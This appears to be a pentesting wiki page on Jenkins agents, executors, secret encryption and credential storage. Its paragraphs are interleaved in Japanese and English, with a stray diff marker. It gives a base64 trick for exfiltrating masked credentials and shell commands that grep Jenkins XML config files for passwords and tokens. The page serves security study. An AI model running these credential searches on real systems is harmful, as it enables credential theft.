**エージェント**は、**エグゼキュータを使用して**Jenkinsコントローラの代理として**タスク実行を管理**します。エージェントはJavaをサポートする任意のオペレーティングシステムを使用できます。ビルドやテストに必要なツールはエージェントが実行されるノードにインストールされます。これらは**直接インストールするか、コンテナ**DockerまたはKubernetes内にインストールできます。各**エージェントは、ホストマシン上で独自のPIDを持つプロセスです**。
**Agents****executors を使って** Jenkinsコントローラの代わりに**タスク実行を管理**します。エージェントはJavaをサポートする任意のOSを利用できます。ビルドやテストに必要なツールはエージェントが動作するノードにインストールされます直接インストールするか、コンテナDockerKubernetes内にインストールできます。各**agent はホスト上で独自の PID を持つプロセス**として実行されます
**エグゼキュータ**は**タスク実行スロット**です。実際には**エージェント内のスレッド**です。ノード上の**エグゼキュータの数**は、そのノードで同時に実行できる**同時タスク数**を定義します。言い換えれば、これはそのノードで同時に実行できる**同時Pipeline `stages`数**を決定します。
**executor** は**タスク実行スロット**であり、実質的には**エージェント内のスレッド**です。ノード上の**executorの数**は、そのノードで同時に実行できる**並列タスク数**を定義します。言い換えれば、同じードで同時に実行できるPipeline `stages` の**並列数**を決定します。
## Jenkinsシークレット
## Jenkins Secrets
### シークレットと資格情報の暗号化
### シークレットと認証情報の暗号化
[ドキュメント](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials)からの定義:Jenkinsは**AESを使用してシークレット**、資格情報、およびそれらの暗号化キーを保護します。これらの暗号化キーは、マスターキーと共に`$JENKINS_HOME/secrets/`に保存されます。このディレクトリは、Jenkinsコントローラーが実行されているオペレーティングシステムユーザーのみが読み取りおよび書き込みアクセスを持つように構成する必要がありますつまり、`chmod`値は`0700`または適切なファイル属性を使用)。**マスターキー**(暗号用語で「キー暗号化キー」と呼ばれることもあります)は、**Jenkinsコントローラーのファイルシステムに\_暗号化されていない状態で\_保存されます**。**`$JENKINS_HOME/secrets/master.key`**に保存されており、直接そのファイルにアクセスできる攻撃者に対して保護されていません。ほとんどのユーザーと開発者は、一般的なシークレットデータを暗号化するための[Secret](https://javadoc.jenkins.io/byShortName/Secret) APIや資格情報APIを介して、これらの暗号化キーを間接的に使用します。暗号に興味がある方のために、JenkinsはAESを暗号ブロックチェーンCBCモードで使用し、PKCS#5パディングとランダムIVを使用して`$JENKINS_HOME/secrets/`に保存される[CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey)のインスタンスを暗号化します。これらはその`CryptoConfidentialKey` IDに対応するファイル名で保存されます。一般的なキーIDには以下が含まれます
Definition from the [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins uses **AES to encrypt and protect secrets**, credentials, and their respective encryption keys. These encryption keys are stored in `$JENKINS_HOME/secrets/` along with the master key used to protect said keys. This directory should be configured so that only the operating system user the Jenkins controller is running as has read and write access to this directory (i.e., a `chmod` value of `0700` or using appropriate file attributes). The **master key** (sometimes referred to as a "key encryption key" in cryptojargon) is **stored \_unencrypted**\_ on the Jenkins controller filesystem in **`$JENKINS_HOME/secrets/master.key`** which does not protect against attackers with direct access to that file. Most users and developers will use these encryption keys indirectly via either the [Secret](https://javadoc.jenkins.io/byShortName/Secret) API for encrypting generic secret data or through the credentials API. For the cryptocurious, Jenkins uses AES in cipher block chaining (CBC) mode with PKCS#5 padding and random IVs to encrypt instances of [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) which are stored in `$JENKINS_HOME/secrets/` with a filename corresponding to their `CryptoConfidentialKey` id. Common key ids include:
- `hudson.util.Secret`:一般的なシークレットに使用されます。
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`:一部の資格情報タイプに使用されます。
- `jenkins.model.Jenkins.crumbSalt` [CSRF保護メカニズム](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery)によって使用されます。
- `hudson.util.Secret`: used for generic secrets;
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: used for some credentials types;
- `jenkins.model.Jenkins.crumbSalt`: used by the [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); and
### 資格情報アクセス
### Credentials Access
資格情報は、任意の構成されたプロジェクトからアクセスできる**グローバルプロバイダー**`/credentials/`)に**スコープ**を設定できます。または、**特定のプロジェクト**`/job/<project-name>/configure`)にスコープを設定し、そのため特定のプロジェクトからのみアクセス可能にできます。
Credentials can be **scoped to global providers** (`/credentials/`) that can be accessed by any project configured, or can be scoped to **specific projects** (`/job/<project-name>/configure`) and therefore only accessible from the specific project.
[**ドキュメント**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/)によると:スコープ内の資格情報は、制限なくパイプラインに利用可能です。**ビルドログでの偶発的な露出を防ぐために**、資格情報は通常の出力から**マスク**されるため、`env`Linux)や`set`Windows)を呼び出したり、環境やパラメータを印刷するプログラムは、ビルドログで資格情報を**明らかにしません**。
According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Credentials that are in scope are made available to the pipeline without limitation. To **prevent accidental exposure in the build log**, credentials are **masked** from regular output, so an invocation of `env` (Linux) or `set` (Windows), or programs printing their environment or parameters would **not reveal them in the build log** to users who would not otherwise have access to the credentials.
**そのため、資格情報を外部に持ち出すには、攻撃者は例えばそれをbase64エンコードする必要があります。**
**That is why in order to exfiltrate the credentials an attacker needs to, for example, base64 them.**
### プラグイン/ジョブ設定ファイル上のシークレット
Do not assume secrets are only in `credentials.xml`. Many plugins persist secrets in their **own global XML** under `$JENKINS_HOME/*.xml` or in per-job `$JENKINS_HOME/jobs/<JOB>/config.xml`, sometimes even in plaintext (UI masking does not guarantee encrypted storage). If you gain filesystem read access, enumerate those XMLs and search for obvious secret tags.
```bash
# Global plugin configs
ls -l /var/lib/jenkins/*.xml
grep -R "password\\|token\\|SecretKey\\|credentialId" /var/lib/jenkins/*.xml
# Per-job configs
find /var/lib/jenkins/jobs -maxdepth 2 -name config.xml -print -exec grep -H "password\\|token\\|SecretKey" {} \\;
```
## 参考文献
- [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/)
@@ -90,5 +101,6 @@ Jenkinsはプラグインを使用して**サードパーティのSSO経由で
- [https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery)
- [https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials)
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
- [https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/](https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/)
{{#include ../../banners/hacktricks-training.md}}